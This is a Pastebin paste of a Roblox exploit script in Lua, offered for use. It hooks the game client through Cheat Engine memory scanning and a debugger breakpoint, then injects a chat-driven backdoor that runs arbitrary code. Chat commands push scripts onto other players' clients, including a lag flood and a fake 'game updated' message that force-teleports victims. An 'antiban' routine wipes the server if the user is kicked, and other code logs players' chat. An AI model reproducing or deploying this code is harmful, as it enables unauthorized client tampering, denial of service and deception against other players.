Ima3ine

Untitled

Jan 22nd, 2023
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 240.78 KB | None | 0 0
  1. local Exploits, Successes, AddressList, NoRun, Interface = {}, {}, {}, {}, {};
  2. local GlobalOffset = "28";
  3.  
  4. function GetExploit(index)
  5. local tab, scan, result = Exploits[index], createMemScan(true);
  6. memscan_returnOnlyOneResult(scan, true);
  7. memscan_firstScan(scan, soExactValue, vtByteArray, rtTruncated, table.concat(tab[2], " "), nil, 0, 0x00FFFFFF, "", fsmNotAligned, nil, false, false, false, false);
  8. memscan_waitTillDone(scan);
  9. result = memscan_getOnlyResult(scan);
  10. if result == nil then return nil; end
  11. result = string.format("%X", result + tab[3]);
  12. result = string.rep("0", 8 - string.len(result)) .. result;
  13. return result;
  14. end
  15. function AddExploit(name, hex, offset)
  16. table.insert(Exploits, {name, hex, offset})
  17. end
  18. function toAddr(num)
  19. local num = tonumber(num);
  20. local addr = string.format("%X", num):upper();
  21. addr = string.rep("0", 8 - string.len(addr)) .. addr;
  22. return addr;
  23. end
  24.  
  25.  
  26. debugger_onBreakpoint = function()
  27. local function GetAddress(ESPaddr, Offset)
  28. local ESPaddr, Offset = tostring(ESPaddr) or string.rep("0", 8), tostring(Offset == nil and GlobalOffset or Offset);
  29. local SCaddr_base = tonumber("0x" .. ESPaddr) + tonumber("0x" .. Offset);
  30. local SCaddr_cont1, SCaddr_cont2, SCaddr_cont3, SCaddr_cont4 = tostring(string.format("%X", SCaddr_base)), tostring(string.format("%X", SCaddr_base + 1)), tostring(string.format("%X", SCaddr_base + 2)), tostring(string.format("%X", SCaddr_base + 3));
  31. local SCaddr = (readBytes(SCaddr_cont1) + (readBytes(SCaddr_cont2) * 256) + (readBytes(SCaddr_cont3) * 65536) + (readBytes(SCaddr_cont4) * 16777216));
  32. return toAddr(SCaddr);
  33. end
  34. --if readBytes(GetAddress(toAddr(ESP), GlobalOffset), 1) == 0x0D then
  35. local JOIN_addr = GetAddress(toAddr(ESP), GlobalOffset);
  36. local JOIN_len = tonumber("0x"..GetAddress(toAddr(ESP), string.format("%X", tonumber("0x"..GlobalOffset) + 4)));
  37. local JOIN_script_tbl = readBytes(JOIN_addr, JOIN_len, true);
  38. local JOIN_script = "";
  39. table.foreach(JOIN_script_tbl, function(i, v) JOIN_script = JOIN_script .. string.char(v); end);
  40. local script = JOIN_script .. [==[ repeat wait() until game:service'Players'.LocalPlayer; wait(); game:service'Players'.LocalPlayer.Chatted:connect(function(s) Spawn(function() loadstring(s)() end) end) AntibanScript=false -- if AntibanScript = true and if you're kicked or banned from the current game, all the workspace children and players will be removed --
  41. ChatHistory=false
  42. DefaultGodAndInvisiWalkSpeed=30 -- if you enable the invisi or godmode, your walkspeed will be set to this value [Default = 16] --
  43.  
  44. Delay(1,function()
  45. FIXSCRIPTS''
  46. end)
  47. local ShowBox=Instance.new'BoolValue'
  48. PlayerLoadtime=7.5
  49. HackerName=nil
  50. Scripts={}
  51. Connects={}
  52. Commands={}
  53. HackedTime=0
  54. chatbool = false
  55. CmdbKey=':'
  56. FocusKey='\\'
  57. UnlockKey='?'
  58. LockKey='.'
  59. ExplorerKey=';'
  60. ExproKey=','
  61. GearKey='$'
  62. BuildKey='<'
  63. GodKey='*'
  64. InvisiKey='%'
  65. VisiKey='#'
  66. AdminKey='&'
  67.  
  68. LagScript = [[
  69.  
  70. script:Destroy();
  71.  
  72. local runService = Game:GetService("RunService").Stepped;
  73. local LagNum = 1250;
  74. local str = "Not so cool now?";
  75.  
  76. for i = 1, math.huge do
  77. if i % LagNum == 0 then runService:wait(); end
  78. Instance.new("Message", Workspace).Text = str;
  79. end
  80.  
  81. ]]
  82.  
  83. local function TeleportScript(place_id)
  84. return [[
  85. script:Destroy();
  86.  
  87. local place_id_str = ]]..tostring(place_id)..[[;
  88. local place_id = tonumber(place_id_str);
  89. local message_str = "The owner has updated the game. New features: less lag, improved dynamic lighting, and more! Press the 'Leave' button to play to an updated game!";
  90. local player = Game:GetService("Players").LocalPlayer;
  91. local teleport_service = Game:GetService("TeleportService");
  92. local run_service = Game:GetService("RunService").Stepped;
  93. if player:FindFirstChild("PlayerGui") then
  94. pcall(function() player.PlayerGui:ClearAllChildren(); end)
  95. end
  96. while true do
  97. if player:FindFirstChild("PlayerGui") then
  98. local screen_gui, frame_gui, message_gui;
  99. if not player.PlayerGui:FindFirstChild(" __teleport_updated_place_gui") then
  100. pcall(function()
  101. screen_gui = Instance.new("ScreenGui", player.PlayerGui);
  102. screen_gui.Name = " __teleport_updated_place_gui";
  103. end)
  104. else screen_gui = player.PlayerGui[" __teleport_updated_place_gui"]; end
  105. if not screen_gui:FindFirstChild(" __teleport_updated_place_frame") then
  106. pcall(function()
  107. frame_gui = Instance.new("Frame", screen_gui);
  108. frame_gui.Name = " __teleport_updated_place_frame";
  109. frame_gui.ZIndex = 9;
  110. frame_gui.Size = UDim2.new(2, 0, 2, 0);
  111. frame_gui.Position = UDim2.new(-.5, 0, -.5, 0);
  112. frame_gui.BackgroundColor3 = Color3.new();
  113. end)
  114. end
  115. if not screen_gui:FindFirstChild(" __teleport_updated_place_message") then
  116. pcall(function()
  117. message_gui = Instance.new("TextLabel", screen_gui);
  118. message_gui.Name = " __teleport_updated_place_message";
  119. message_gui.ZIndex = 10;
  120. message_gui.Size = UDim2.new(.9, 0, .3, 0);
  121. message_gui.Position = UDim2.new(.05, 0, 0, 0);
  122. message_gui.BackgroundColor3 = Color3.new();
  123. message_gui.BorderColor3 = Color3.new();
  124. message_gui.BorderSizePixel = 0;
  125. message_gui.TextWrapped = true;
  126. message_gui.TextColor3 = Color3.new(1,1,1);
  127. message_gui.FontSize = 8;
  128. message_gui.Font = 2;
  129. message_gui.Text = message_str;
  130. end)
  131. end
  132. end
  133. teleport_service:Teleport(place_id);
  134. pcall(function() Workspace.CurrentCamera.CameraType = 6; end)
  135. pcall(function() player.Character = nil; end)
  136. run_service:wait();
  137. end
  138. ]]
  139. end
  140.  
  141. local function GetError(not_errored, msg)
  142. if not_errored then msg = "Running Script" end
  143. Game.Debris:AddItem((function()
  144. local hint;
  145. pcall(function()
  146. hint=Instance.new("Hint",Workspace.CurrentCamera)
  147. hint.Text=msg
  148. end)
  149. return hint
  150. end)(), 3)
  151. end
  152.  
  153. local function FindPlayers(str)
  154. if not str then return end
  155. local str,players = str:lower(),{}
  156. if str == "all" then
  157. for i, v in next, Game.Players:GetPlayers() do
  158. players[#players+1] = v
  159. end
  160. elseif str:match("others?") then
  161. for i, v in next, Game.Players:GetPlayers() do
  162. pcall(function()
  163. if v ~= Game.Players.LocalPlayer then
  164. players[#players+1] = v
  165. end
  166. end)
  167. end
  168. else
  169. for i, v in next, Game.Players:GetPlayers() do
  170. pcall(function()
  171. if v.Name:lower():match("^"..str) then
  172. players[#players+1] = v
  173. end
  174. end)
  175. end
  176. end
  177. return players
  178. end
  179.  
  180. local function LoadOnClients(players, source)
  181. if not players or #players == 0 then return end
  182. local load = function(Player)
  183. local Script = Instance.new "LocalScript"
  184. --
  185. Script.Source = [[
  186. while script.Name == "LocalScript" do wait() end
  187. ypcall(loadstring([==============[]]..source..[[]==============]))
  188. ]]
  189. --
  190. Script.Parent = Game.Players.LocalPlayer.Character
  191. or Game.Players.LocalPlayer:FindFirstChild "Backpack"
  192. or Game.Players.LocalPlayer.CharacterAdded:wait()
  193. wait(.5)
  194. Script.Name = "LocalScript "
  195. Script.Parent = Player.Character
  196. or Player:FindFirstChild "Backpack"
  197. or Player.CharacterAdded:wait()
  198. end
  199. for _,player in next, players do
  200. coroutine.wrap(load)(player)
  201. end
  202. end
  203.  
  204. coroutine.resume(coroutine.create(function()
  205. wait(PlayerLoadtime)
  206. HackerName=game.Players.LocalPlayer.Name
  207. end))
  208. if(AntibanScript)then
  209. coroutine.resume(coroutine.create(function()
  210. wait(PlayerLoadtime+.5)
  211. while true and wait() do
  212. if(AntibanScript)then
  213. if not(game.Players:FindFirstChild(HackerName))then
  214. wait(3.5)
  215. if(AntibanScript)then
  216. function workspaceRemove(path)
  217. for _,v in pairs(path:GetChildren())do
  218. coroutine.resume(coroutine.create(function(v)
  219. if(v:IsA("Script"))or(v:IsA("LocalScript"))then
  220. v.Disabled=true
  221. v:remove()
  222. else
  223. v:remove()
  224. end
  225. end),v)
  226. end
  227. end
  228. workspaceRemove(game:GetService('Workspace'))
  229. for e,i in pairs(game.Players:GetPlayers())do
  230. coroutine.resume(coroutine.create(function(i) i:remove() end),i)
  231. end
  232. end
  233. end
  234. end
  235. end
  236. end))
  237. end
  238. coroutine.resume(coroutine.create(function()
  239. wait(PlayerLoadtime)
  240. game.Players.LocalPlayer:SetSuperSafeChat(false)
  241. game.Players.LocalPlayer.Chatted:connect(function(msg)
  242. if string.sub(msg, 1, 3) == "ls " then
  243. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  244. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  245. ls.Name="lsInserted"
  246. wait(.2)
  247. ls.Name="lsRun"
  248. ls.Source=string.sub(msg,4)
  249. ls.Disabled=true
  250. ls.Disabled=false
  251. end
  252. elseif string.sub(msg, 1, 3) == "rs " then
  253. coroutine.resume(coroutine.create(function(msg)
  254. local errored,output = ypcall(loadstring(msg:sub(4)))
  255. GetError(errored,output)
  256. errored,output = nil
  257. end),msg)
  258. elseif string.sub(msg, 1, 3) == "ls/" then
  259. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  260. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  261. ls.Name="lsInserted"
  262. wait(.2)
  263. ls.Name="lsRun"
  264. ls.Source=string.sub(msg,4)
  265. ls.Disabled=true
  266. ls.Disabled=false
  267. end
  268. elseif string.sub(msg, 1, 3) == "rs/" then
  269. coroutine.resume(coroutine.create(function(msg)
  270. local errored,output = ypcall(loadstring(msg:sub(4)))
  271. GetError(errored,output)
  272. errored,output = nil
  273. end),msg)
  274. elseif string.sub(msg, 1, 3) == "cs " then
  275. LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")), msg:sub(4):match("%s(.+)"))
  276. elseif string.sub(msg, 1, 10) == "mediafire " then
  277. LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")), msg:sub(11):match("%s(.+)"))
  278. elseif string.sub(msg, 1, 4) == "lag " then
  279. LoadOnClients(FindPlayers(msg:sub(5):match("%w+")), LagScript)
  280. elseif string.sub(msg, 1, 7) == "hitler " then
  281. LoadOnClients(FindPlayers(msg:sub(8):match("%w+")), LagScript)
  282. --
  283. elseif string.sub(msg, 1, 3) == "cs/" then
  284. LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")), msg:sub(4):match("/(.+)"))
  285. elseif string.sub(msg, 1, 10) == "mediafire/" then
  286. LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")), msg:sub(11):match("/(.+)"))
  287. elseif string.sub(msg, 1, 4) == "lag/" then
  288. LoadOnClients(FindPlayers(msg:sub(5):match("[%w%s]+")), LagScript)
  289. elseif string.sub(msg, 1, 7) == "hitler/" then
  290. LoadOnClients(FindPlayers(msg:sub(8):match("[%w%s]+")), LagScript)
  291. --
  292. elseif string.sub(msg, 1, 1) == "/" then
  293. if string.sub(msg, 2, 4) == "sb" then
  294. chatbool = true
  295. repeat wait(.01)
  296. game.Players.LocalPlayer:SetSuperSafeChat(false)
  297. game.Players:Chat("/sc 2 4")
  298. game.Players:Chat("/sc 2 7 0")
  299. game.Players:Chat("/sc 2 7 4")
  300. until not chatbool
  301. elseif string.sub(msg, 2, 5) == "nsb" then
  302. chatbool = false
  303. elseif string.sub(msg, 2, 7) == "power" then
  304. if game.Players.LocalPlayer.Character ~= nil then
  305. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  306. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  307. ls.Name="lsInserted"
  308. wait(.2)
  309. ls.Name="lsRun"
  310. ls.Source=PowerScriptSource
  311. ls.Disabled=true
  312. ls.Disabled=false
  313. end
  314. end
  315. elseif string.sub(msg, 2, 7) == "gaara" then
  316. if game.Players.LocalPlayer.Character ~= nil then
  317. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  318. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  319. ls.Name="lsInserted"
  320. wait(.2)
  321. ls.Name="lsRun"
  322. ls.Source=GaaraSource
  323. ls.Disabled=true
  324. ls.Disabled=false
  325. end
  326. end
  327. elseif string.sub(msg, 2, 6) == "nova" then
  328. if game.Players.LocalPlayer.Character ~= nil then
  329. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  330. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  331. ls.Name="lsInserted"
  332. wait(.2)
  333. ls.Name="lsRun"
  334. ls.Source=NovaSource
  335. ls.Disabled=true
  336. ls.Disabled=false
  337. end
  338. end
  339. elseif string.sub(msg, 2, 9) == "outgame" then AntibanScript=false
  340. if game.Players.LocalPlayer.Character ~= nil then
  341. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  342. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  343. ls.Name="lsInserted"
  344. wait(.2)
  345. ls.Name="lsRun"
  346. ls.Source=OutGameSource
  347. ls.Disabled=true
  348. ls.Disabled=false
  349. end
  350. end
  351. end
  352. end
  353. end)
  354. end))
  355. coroutine.resume(coroutine.create(function()
  356. wait(PlayerLoadtime)
  357. while wait() do
  358. game.Players.LocalPlayer:SetSuperSafeChat(false)
  359. end
  360. end))
  361. coroutine.resume(coroutine.create(function()
  362. wait(PlayerLoadtime)
  363. if ChatHistory then
  364. coroutine.resume(coroutine.create(function()
  365. CH=Instance.new("Model",game:GetService("SoundService"))
  366. CH.Name="ChatHistory"
  367. for _,v in pairs(game.Players:GetPlayers())do
  368. v.Chatted:connect(function(msg)
  369. chatHistory=Instance.new("StringValue",CH)
  370. chatHistory.Name=v.Name
  371. chatHistory.Value=msg
  372. end)
  373. end
  374. game.Players.PlayerAdded:connect(function(v)
  375. v.Chatted:connect(function(msg)
  376. chatHistory=Instance.new("StringValue",CH)
  377. chatHistory.Name=v.Name
  378. chatHistory.Value=msg
  379. end)
  380. end) end)) coroutine.resume(coroutine.create(function()
  381. CH2=Instance.new("Model",game:GetService("StarterGui"))
  382. CH2.Name="ChatHistory"
  383. for _,v in pairs(game.Players:GetPlayers())do
  384. v.Chatted:connect(function(msg)
  385. chatHistory=Instance.new("StringValue",CH2)
  386. chatHistory.Name=v.Name
  387. chatHistory.Value=msg
  388. end)
  389. end
  390. game.Players.PlayerAdded:connect(function(v)
  391. v.Chatted:connect(function(msg)
  392. chatHistory=Instance.new("StringValue",CH2)
  393. chatHistory.Name=v.Name
  394. chatHistory.Value=msg
  395. end)
  396. end) end)) coroutine.resume(coroutine.create(function()
  397. CH3=Instance.new("Model",game:GetService("Teams"))
  398. CH3.Name="ChatHistory"
  399. for _,v in pairs(game.Players:GetPlayers())do
  400. v.Chatted:connect(function(msg)
  401. chatHistory=Instance.new("StringValue",CH3)
  402. chatHistory.Name=v.Name
  403. chatHistory.Value=msg
  404. end)
  405. end
  406. game.Players.PlayerAdded:connect(function(v)
  407. v.Chatted:connect(function(msg)
  408. chatHistory=Instance.new("StringValue",CH3)
  409. chatHistory.Name=v.Name
  410. chatHistory.Value=msg
  411. end)
  412. end) end)) coroutine.resume(coroutine.create(function()
  413. CH4=Instance.new("Model",game:GetService("Soundscape"))
  414. CH4.Name="ChatHistory"
  415. for _,v in pairs(game.Players:GetPlayers())do
  416. v.Chatted:connect(function(msg)
  417. chatHistory=Instance.new("StringValue",CH4)
  418. chatHistory.Name=v.Name
  419. chatHistory.Value=msg
  420. end)
  421. end
  422. game.Players.PlayerAdded:connect(function(v)
  423. v.Chatted:connect(function(msg)
  424. chatHistory=Instance.new("StringValue",CH4)
  425. chatHistory.Name=v.Name
  426. chatHistory.Value=msg
  427. end)
  428. end) end))
  429. end
  430. end))
  431. X=function(f)
  432. return coroutine.resume(coroutine.create(f))
  433. end
  434.  
  435.  
  436. OutGameSource=[[
  437. -- Settings --
  438. _ForceField = true
  439. _RespawnTime = 0
  440. _PlayerName = "ROBLOX"
  441. _ChatColor = "Blue"
  442.  
  443. -- Some variables --
  444. _Player = game.Players.LocalPlayer
  445. _Neutral = _Player.Neutral
  446. _TeamColor = _Player.TeamColor
  447. _Character = _Player.Character
  448. _Camera = game.Workspace.CurrentCamera
  449. _Character.Archivable = true
  450. wait()
  451. _BaseChar = _Character:clone()
  452. _Respawning = false
  453.  
  454. -- Some functions --
  455. function _CreateChar(vector)
  456. if _Respawning then return else _Respawning = true
  457. for _,v in pairs(_Player.Backpack:GetChildren())do
  458. v:remove()
  459. end
  460. for _,v in pairs(_Player.PlayerGui:GetChildren())do
  461. v:remove()
  462. end
  463. local _CloneChar = _BaseChar:clone()
  464. _CloneChar:MakeJoints()
  465. if vector and _CloneChar:FindFirstChild("Torso") then
  466. _CloneChar.Torso.CFrame = CFrame.new(vector)
  467. end
  468. _CloneChar.Parent = game.Workspace.CurrentCamera
  469. _CloneChar.Name = _PlayerName
  470. _CloneChar.Archivable = false
  471. _Camera.CameraSubject = _CloneChar:FindFirstChild("Humanoid")
  472. _Camera.CameraType = "Custom"
  473. for _,v in pairs(_Player.StarterGear:GetChildren())do
  474. if not _Player.Backpack:FindFirstChild(v.Name) then
  475. v:clone().Parent = _Player.Backpack
  476. end
  477. end
  478. for _,v in pairs(game:GetService("StarterPack"):GetChildren())do
  479. if not _Player.Backpack:FindFirstChild(v.Name) then
  480. v:clone().Parent = _Player.Backpack
  481. end
  482. end
  483. for _,v in pairs(game:GetService("StarterGui"):GetChildren())do
  484. if not _Player.PlayerGui:FindFirstChild(v.Name) then
  485. v:clone().Parent = _Player.PlayerGui
  486. end
  487. end
  488. for _,v in pairs(_Player.Backpack:GetChildren())do
  489. if v:IsA("Tool") then
  490. v.Enabled = true
  491. elseif v:IsA("HopperBin") then
  492. v.Active = false
  493. end
  494. end
  495. _Player.Character = _CloneChar
  496. for _,v in pairs(_CloneChar:GetChildren())do
  497. if v:IsA("Script") or v:IsA("LocalScript") then
  498. v.Disabled = true wait() v.Disabled = false
  499. end
  500. end
  501. _Respawning = false
  502. return _CloneChar
  503. end
  504. end
  505.  
  506. function _VerifyCopy(_PlayerName)
  507. while wait() do
  508. if not game.Players:FindFirstChild(_PlayerName) then
  509. local _LocalPlayer = Instance.new("ObjectValue",game.Players)
  510. _LocalPlayer.Name = _PlayerName
  511. end
  512. if game.Players:FindFirstChild(_PlayerName) then
  513. if game.Players[_PlayerName]:IsA("ObjectValue") then
  514. if not game.Players[_PlayerName]:FindFirstChild("Backpack") then
  515. local _LocalBackpack = Instance.new("ObjectValue",game.Players[_PlayerName])
  516. _LocalBackpack.Name = "Backpack"
  517. end
  518. if not game.Players[_PlayerName]:FindFirstChild("StarterGear") then
  519. local _LocalStarterGear = Instance.new("ObjectValue",game.Players[_PlayerName])
  520. _LocalStarterGear.Name = "StarterGear"
  521. end
  522. if not game.Players[_PlayerName]:FindFirstChild("PlayerGui") then
  523. local _LocalPlayerGui = Instance.new("ObjectValue",game.Players[_PlayerName])
  524. _LocalPlayerGui.Name = "PlayerGui"
  525. end
  526. end
  527. end
  528. end
  529. end
  530.  
  531. function _CloneTools(_name,_type)
  532. for _,v in pairs(game.Players[_name][_type]:GetChildren())do
  533. if not _Player[_type]:FindFirstChild(v.Name) and not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild(v.Name) then
  534. v.Parent = _Player[_type]
  535. coroutine.resume(coroutine.create(function()
  536. function fixScripts(path)
  537. for e,i in pairs(path:GetChildren())do
  538. if i:IsA("Script") or i:IsA("LocalScript") then
  539. if i.Disabled == false then
  540. i.Disabled = true wait() i.Disabled = false
  541. end
  542. end
  543. fixScripts(i)
  544. end
  545. end
  546. fixScripts(v)
  547. end))
  548. end
  549. end
  550. end
  551.  
  552. function _TransferTools(_pname)
  553. while wait() do
  554. if game.Players:FindFirstChild(_pname) then
  555. if game.Players[_pname]:FindFirstChild("Backpack") then
  556. coroutine.resume(coroutine.create(_CloneTools),_pname,"Backpack")
  557. for _,v in pairs(_Player.Backpack:GetChildren())do
  558. if not game.Players[_pname].Backpack:FindFirstChild(v.Name) then
  559. v:clone().Parent = game.Players[_pname].Backpack
  560. end
  561. end
  562. end
  563. if game.Players[_pname]:FindFirstChild("StarterGear") then
  564. coroutine.resume(coroutine.create(function()
  565. for _,v in pairs(game.Players[_pname].StarterGear:GetChildren())do
  566. if not _Player.StarterGear:FindFirstChild(v.Name) then
  567. v:clone().Parent = _Player.StarterGear
  568. end
  569. end
  570. end))
  571. for _,v in pairs(_Player.StarterGear:GetChildren())do
  572. if not game.Players[_pname].StarterGear:FindFirstChild(v.Name) then
  573. v:clone().Parent = game.Players[_pname].StarterGear
  574. end
  575. end
  576. end
  577. if game.Players[_pname]:FindFirstChild("PlayerGui") then
  578. for _,v in pairs(_Player.PlayerGui:GetChildren())do
  579. if not game.Players[_pname].PlayerGui:FindFirstChild(v.Name) then
  580. v:clone().Parent = game.Players[_pname].PlayerGui
  581. end
  582. end
  583. coroutine.resume(coroutine.create(_CloneTools),_pname,"PlayerGui")
  584. end
  585. end
  586. end
  587. end
  588.  
  589. -- Remove player and script --
  590. script.Parent = nil
  591. wait()
  592.  
  593. -- Update _BaseChar position --
  594. coroutine.resume(coroutine.create(function()
  595. while wait() do
  596. if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
  597. if game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Torso") then
  598. if _BaseChar:FindFirstChild("Torso") then
  599. _BaseChar.Torso.CFrame = game.Workspace.CurrentCamera[_PlayerName].Torso.CFrame
  600. end
  601. end
  602. end
  603. end
  604. end))
  605.  
  606. -- Clone and Respawn character --
  607. coroutine.resume(coroutine.create(function()
  608. while wait() do
  609. if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
  610. _PartFound = false
  611. for _,v in pairs(game.Workspace.CurrentCamera[_PlayerName]:GetChildren())do
  612. if v:IsA("Part") then
  613. _PartFound = true
  614. end
  615. end
  616. if not _PartFound then
  617. wait(_RespawnTime)
  618. game.Workspace.CurrentCamera[_PlayerName]:remove()
  619. _Created = false
  620. function _scanSpawn(path)
  621. for _,v in pairs(path:GetChildren())do
  622. if v:IsA("SpawnLocation") then
  623. if _Player.Neutral then
  624. if v.Neutral then
  625. _CreateChar(v.Position)
  626. _Created = true
  627. end
  628. elseif not _Player.Neutral then
  629. if v.TeamColor == _Player.TeamColor then
  630. _CreateChar(v.Position)
  631. _Created = true
  632. end
  633. end
  634. end
  635. _scanSpawn(v)
  636. end
  637. end
  638. _scanSpawn(game.Workspace)
  639. if not _Created then
  640. _CreateChar(Vector3.new(0,500,0))
  641. end
  642. elseif _PartFound then
  643. if not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
  644. game.Workspace.CurrentCamera[_PlayerName]:remove() _ChreateChar()
  645. elseif game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
  646. if game.Workspace.CurrentCamera[_PlayerName].Humanoid.Health == 0 then
  647. wait(_RespawnTime) game.Workspace.CurrentCamera[_PlayerName]:remove() _CreateChar()
  648. end
  649. end
  650. end
  651. elseif not game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
  652. _CreateChar()
  653. end
  654. if _ForceField then
  655. if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
  656. if not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("ForceField") then
  657. Instance.new("ForceField",game.Workspace.CurrentCamera[_PlayerName])
  658. end
  659. end
  660. end
  661. end
  662. end))
  663.  
  664. -- Copy player children --
  665. coroutine.resume(coroutine.create(function()
  666. coroutine.resume(coroutine.create(_VerifyCopy),_PlayerName)
  667. coroutine.resume(coroutine.create(_VerifyCopy),_Player.Name)
  668. end))
  669.  
  670. -- Transfer tools and guis --
  671. coroutine.resume(coroutine.create(function()
  672. coroutine.resume(coroutine.create(_TransferTools),_PlayerName)
  673. coroutine.resume(coroutine.create(_TransferTools),_Player.Name)
  674. end))
  675.  
  676. -- Take weapons --
  677. coroutine.resume(coroutine.create(function()
  678. while wait() do
  679. if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
  680. _TempChar = game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
  681. function checkParts(path)
  682. for _,v in pairs(path:GetChildren())do
  683. if v:IsA("Part") then
  684. if not v:FindFirstChild("TouchInterest") then
  685. v.Touched:connect(function(Part)
  686. if Part.Parent:IsA("Tool") then
  687. Part.Parent.Parent = _TempChar
  688. end
  689. end)
  690. end
  691. end
  692. checkParts(v)
  693. end
  694. end
  695. checkParts(_TempChar)
  696. end
  697. end
  698. end))
  699.  
  700. -- Chat box --
  701. coroutine.resume(coroutine.create(function()
  702. _Player.Chatted:connect(function(msg)
  703. if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
  704. if game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Head") then
  705. game:GetService("Chat"):Chat(game.Workspace.CurrentCamera[_PlayerName].Head, msg, _ChatColor)
  706. end
  707. end
  708. end)
  709. end))
  710.  
  711. wait() _Player.Parent = nil
  712. ]]
  713.  
  714. AdminScriptSource=[[
  715. adminlist = {game.Players.LocalPlayer.Name}
  716. bannedlist = {""}
  717. texture = ""
  718. wait(.5) script.Parent=nil
  719.  
  720. namelist = { }
  721. variablelist = { }
  722. flist = { }
  723.  
  724. tools = Instance.new("Model")
  725. c = game.Lighting:GetChildren()
  726. for i=1,#c do
  727. if c[i].className == "Tool" then
  728. c[i]:clone().Parent = tools
  729. end
  730. if c[i].className == "HopperBin" then
  731. c[i]:clone().Parent = tools
  732. end end
  733.  
  734. function findplayer(name,speaker)
  735. if string.lower(name) == "all" then
  736. local chars = { }
  737. local c = game.Players:GetChildren()
  738. for i =1,#c do
  739. if c[i].className == "Player" then
  740. table.insert(chars,c[i])
  741. end end
  742. return chars
  743. elseif string.lower(name) == "bc" then
  744. local chars = { }
  745. local c = game.Players:GetChildren()
  746. for i =1,#c do
  747. if not c[i].MembershipType == Enum.MembershipType.None then
  748. if c[i].className == "Player" then
  749. table.insert(chars,c[i])
  750. end end end
  751. return chars
  752. elseif string.lower(name) == "nbc" then
  753. local chars = { }
  754. local c = game.Players:GetChildren()
  755. for i =1,#c do
  756. if c[i].MembershipType == Enum.MembershipType.None then
  757. if c[i].className == "Player" then
  758. table.insert(chars,c[i])
  759. end end end
  760. return chars
  761. elseif string.sub(string.lower(name),1,9) == "nonadmins" then
  762. local nnum = 0
  763. local chars = { }
  764. local c = game.Players:GetChildren()
  765. for i=1,#c do
  766. local isadmin = false
  767. for i2 =1,#namelist do
  768. if namelist[i2] == c[i].Name then
  769. isadmin = true
  770. end end
  771. if isadmin == false then
  772. nnum = nnum + 1
  773. table.insert(chars,c[i])
  774. end end
  775. if nnum == 0 then
  776. return 0
  777. else
  778. return chars
  779. end
  780. elseif string.sub(string.lower(name),1,6) == "admins" then
  781. local anum = 0
  782. local chars = { }
  783. local c = game.Players:GetChildren()
  784. for i=1,#c do
  785. for i2 =1,#namelist do
  786. if namelist[i2] == c[i].Name then
  787. anum = anum + 1
  788. table.insert(chars,c[i])
  789. end end end
  790. if anum == 0 then
  791. return 0
  792. else
  793. return chars
  794. end
  795. elseif string.sub(string.lower(name),1,6) == "random" then
  796. while true do
  797. local c = game.Players:GetChildren()
  798. local r = math.random(1,#c)
  799. if c[r].className == "Player" then
  800. return { c[r] }
  801. end end
  802. elseif string.sub(string.lower(name),1,6) == "guests" then
  803. local gnum = 0
  804. local chars = { }
  805. local c = game.Players:GetChildren()
  806. for i=1,#c do
  807. if string.sub(c[i].Name,1,5) == "Guest" then
  808. gnum = gnum + 1
  809. table.insert(chars,c[i])
  810. end end
  811. if gnum == 0 then
  812. return 0
  813. else
  814. return chars
  815. end
  816. elseif string.sub(string.lower(name),1,5) == "team " then
  817. local theteam = nil
  818. local tnum = 0
  819. if game.Teams ~= nil then
  820. local c = game.Teams:GetChildren()
  821. for i =1,#c do
  822. if c[i].className == "Team" then
  823. if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
  824. theteam = c[i]
  825. tnum = tnum + 1
  826. end end end
  827. if tnum == 1 then
  828. local chars = { }
  829. local c = game.Players:GetChildren()
  830. for i =1,#c do
  831. if c[i].className == "Player" then
  832. if c[i].TeamColor == theteam.TeamColor then
  833. table.insert(chars,c[i])
  834. end end end
  835. return chars
  836. end end
  837. return 0
  838. elseif string.lower(name) == "me" then
  839. local person299 = { speaker }
  840. return person299
  841.  
  842. elseif string.lower(name) == "others" then
  843. local chars = { }
  844. local c = game.Players:GetChildren()
  845. for i =1,#c do
  846. if c[i].className == "Player" then
  847. if c[i] ~= speaker then
  848. table.insert(chars,c[i])
  849. end end end
  850. return chars
  851. else
  852. local chars = { }
  853. local commalist = { }
  854. local ssn = 0
  855. local lownum = 1
  856. local highestnum = 1
  857. local foundone = false
  858. while true do
  859. ssn = ssn + 1
  860. if string.sub(name,ssn,ssn) == "" then
  861. table.insert(commalist,lownum)
  862. table.insert(commalist,ssn - 1)
  863. highestnum = ssn - 1
  864. break
  865. end
  866. if string.sub(name,ssn,ssn) == "," then
  867. foundone = true
  868. table.insert(commalist,lownum)
  869. table.insert(commalist,ssn)
  870. lownum = ssn + 1
  871. end end
  872. if foundone == true then
  873. for ack=1,#commalist,2 do
  874. local cnum = 0
  875. local char = nil
  876. local c = game.Players:GetChildren()
  877. for i =1,#c do
